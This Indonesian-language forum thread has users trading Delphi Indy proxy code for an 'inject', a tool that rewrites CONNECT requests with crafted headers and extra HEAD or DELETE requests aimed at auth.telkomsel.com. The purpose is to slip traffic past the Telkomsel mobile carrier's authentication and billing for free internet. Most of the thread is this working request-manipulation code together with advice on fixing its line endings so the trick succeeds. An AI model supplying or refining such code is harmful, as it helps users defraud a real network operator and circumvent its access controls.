[jupri]

pra mastah2 delphi mohon bantuannya dong ane pngn buat inject kampret yang suport susu pakek indy udah dapet respon tp gag nyatol2

ane pakek plaiload ini..

Spoiler:

var pilot: String;
begin
smemo1.Lines.Add(athread.NetData) ;
if (pos('CONNECT',athread.Netdata)<>0) or (pos('GET',athread.NetData)<>0) then
begin
AThread.OutboundClient.Write(athread.NetData);
athread.NetData := 'CONNECT auth.telkomsel.com:443 HTTP/1.0'#13#10+'User-Agent: Mozilla/4.0(compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)'+'Proxy-Connection: Keep-Alive'#13#10+'Content-Length: 0'#13#10+'Host: auth.telkomsel.com:443'#10#10;
pilot:= 'HEAD [Only registered and activated users can see links Click here to register] HTTP/1.1'#10#10#10+#13+#10;
athread.NetData:= athread.NetData+pilot;

mohon di bantu... cengengesan:

[Intan_1994]

Kalo gk salah inject nya harus support direct .
tapi gk tau jga sih

[jupri]

[0n3phr34k]

pra mastah2 delphi mohon bantuannya dong ane pngn buat inject kampret yang suport susu pakek indy udah dapet respon tp gag nyatol2

ane pakek plaiload ini..

Spoiler:

var pilot: String;
begin
smemo1.Lines.Add(athread.NetData) ;
if (pos('CONNECT',athread.Netdata)<>0) or (pos('GET',athread.NetData)<>0) then
begin
AThread.OutboundClient.Write(athread.NetData);
athread.NetData := 'CONNECT auth.telkomsel.com:443 HTTP/1.0'#13#10+'User-Agent: Mozilla/4.0(compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)'+'Proxy-Connection: Keep-Alive'#13#10+'Content-Length: 0'#13#10+'Host: auth.telkomsel.com:443'#10#10;
pilot:= 'HEAD / HTTP/1.1'#10#10#10+#13+#10;
athread.NetData:= athread.NetData+pilot;

mohon di bantu... cengengesan:

mungkin bisa di test atau di rubah bagian ini nya sudah belom om,,,

Spoiler:

#10#10#10+#13+#10;

[jupri]

mungkin bisa di test atau di rubah bagian ini nya sudah belom om,,,

Spoiler:

#10#10#10+#13+#10;

[/quote]


di buat #13#10 gitu bkan om..?

[0n3phr34k]

[jupri]

mungkin bisa di test atau di rubah bagian ini nya sudah belom om,,,

Spoiler:

#10#10#10+#13+#10;

di buat #13#10 gitu bkan om..?

ya di test aja bisa nambhin atau ngurangin tuh line nya,,, aku nyoba tkp ku gak bisa-bisa.. ini mungkin bisa di coba di tkp agan,,

Spoiler:

procedure TForm1.TCPExecute(AThread: TIdMappedPortThread);
var
pilot,que : String;
begin
form4.sMemo1.Lines.Add(AThread.NetData);
upload:= upload+Length(AThread.NetData);
ShapeUpload;
if pos('CONNECT',athread.NetData) <> 0 then begin
AThread.NetData := stringreplace(AThread.NetData, #13#10#13#10, #13#10 + 'Host: adpop.telkomsel.com:443' + #13#10#13#10, [rfReplaceAll]);
que := 'CONNECT auth.telkomsel.com:443 HTTP/1.0'#13#10'User-Agent Mozilla4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)'#13#10'Connection: keep-alive'#13#10#13#10;
pilot := 'DELETE :443/ HTTP/1.1'#13#10'Host: auth.telkomsel.com:443'#10#10#10#13#10#13#10;
AThread.OutboundClient.Write(que);
Sleep(1000);
AThread.NetData := AThread.NetData+pilot+que;
end;
end;

---

mungkin bisa di test atau di rubah bagian ini nya sudah belom om,,,

Spoiler:

#10#10#10+#13+#10;

di buat #13#10 gitu bkan om..?
[/quote]

atau bisa nyoba ini juga boleh,,


semoga membantu om,,
[/quote]

responnya dah cantik banget tp blm nyangkut...